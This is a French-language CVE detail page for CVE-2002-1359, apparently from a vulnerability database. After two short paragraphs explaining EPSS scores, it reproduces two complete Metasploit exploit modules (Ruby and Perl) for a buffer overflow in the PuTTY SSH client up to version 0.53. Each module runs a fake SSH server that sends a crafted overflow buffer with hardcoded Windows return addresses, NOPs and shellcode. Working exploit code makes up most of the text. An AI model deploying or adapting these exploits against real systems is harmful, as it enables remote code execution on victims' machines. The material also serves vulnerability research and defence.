CVE-2002-1359 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: putty_msg_debug.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'PuTTy.exe <= v0.53 Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the PuTTY SSH client that is triggered through a validation error in SSH.c. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9525 $', 'References' => [ [ 'CVE', '2002-1359' ], [ 'OSVDB', '8044'], [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ], [ 'BID', '6407'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00", 'MaxNops' => 0, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ], ], 'Privileged' => false, 'DisclosureDate' => 'Dec 16 2002', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ]) ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) buffer = "SSH-2.0-OpenSSH_3.6.1p2\r\n" + "\x00\x00\x4e\xec\x01\x14" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" + (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) + (((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) + [target.ret].pack('V') + make_nops(10) + p.encoded + (((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" + (((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" + (((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" + (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) + "\x00\x00\x00\x00\x00\x00" print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...") client.put(buffer) handler service.close_client(client) end end

## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::putty_ssh; use strict; use base "Msf::Exploit"; use Pex::Text; use IO::Socket::INET; use POSIX; my $advanced = { }; my $info = { 'Name' => 'PuTTy.exe <= v0.53 Buffer Overflow', 'Version' => '$Revision: 1.1 $', 'Authors' => [ 'y0 [at] w00t-shell.net' ], 'Description' => Pex::Text::Freeform(qq{ This module exploits a buffer overflow in the PuTTY SSH client that is triggered through a validation error in SSH.c. }), 'Arch' => [ 'x86' ], 'OS' => [ 'win32', 'winxp', 'win2000', 'win2003' ], 'Priv' => 0, 'UserOpts' => { 'SSHDPORT' => [ 1, 'PORT', 'The local SSHD listener port', 22 ], 'SSHSERVER' => [ 1, 'HOST', 'The local SSHD listener host', "0.0.0.0" ], }, 'AutoOpts' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00", 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", 'MaxNops' => 0, 'Keys' => [ '-ws2ord', '-bind' ], }, 'Refs' => [ [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ], [ 'CVE', '2002-1359' ], ], 'DefaultTarget' => 0, 'Targets' => [ [ 'Windows 2000 SP4 English', 0x77e14c29 ], [ 'Windows XP SP2 English', 0x76b43ae0 ], [ 'Windows 2003 SP1 English', 0x76AA679b ], ], 'Keys' => [ 'putty' ], 'DisclosureDate' => 'December 16 2002', }; sub new { my $class = shift; my $self; $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced, }, @_); return $self; } sub Exploit { my $self = shift; my $server = IO::Socket::INET->new( LocalHost => $self->GetVar('SSHSERVER'), LocalPort => $self->GetVar('SSHDPORT'), ReuseAddr => 1, Listen => 1, Proto => 'tcp'); my $client; # Did the listener create fail? if (not defined($server)) { $self->PrintLine("[-] Failed to create local SSHD listener on " . $self->GetVar('SSHDPORT')); return; } $self->PrintLine("[*] Waiting for connections to " . $self->GetVar('SSHSERVER') . ":" . $self->GetVar('SSHDPORT') . "..."); while (defined($client = $server->accept())) { $self->HandlePuttyClient(fd => Msf::Socket::Tcp->new_from_socket($client)); } return; } sub HandlePuttyClient { my $self = shift; my ($fd) = @{{@_}}{qw/fd/}; my $target = $self->Targets->[$self->GetVar('TARGET')]; my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $rhost; my $rport; # Set the remote host information ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr); my $sploit = "SSH-2.0-OpenSSH_3.6.1p2\r\n". "\x00\x00\x4e\xec\x01\x14". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde". (((((Pex::Text::AlphaNumText(64)). ",") x 30). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde") x 2). (((Pex::Text::AlphaNumText(64)). ",") x 2). Pex::Text::AlphaNumText(21). pack('V', $target->[1]). $self->MakeNops(10). $shellcode. (((Pex::Text::AlphaNumText(64)). ",") x 15). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde". (((Pex::Text::AlphaNumText(64)). ",") x 30). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde". (((Pex::Text::AlphaNumText(64)). ",") x 21). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde". (((((Pex::Text::AlphaNumText(64)). ",") x 30). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde") x 6). "\x00\x00\x00\x00\x00\x00"; $self->PrintLine("[*] Client connected from $rhost:$rport..."); $fd->Send($sploit); $self->PrintLine("[*] Sending ". length($sploit). " bytes to remote host..."); $self->Handler($fd); $fd->Close(); } 1; # milw0rm.com [2006-05-15]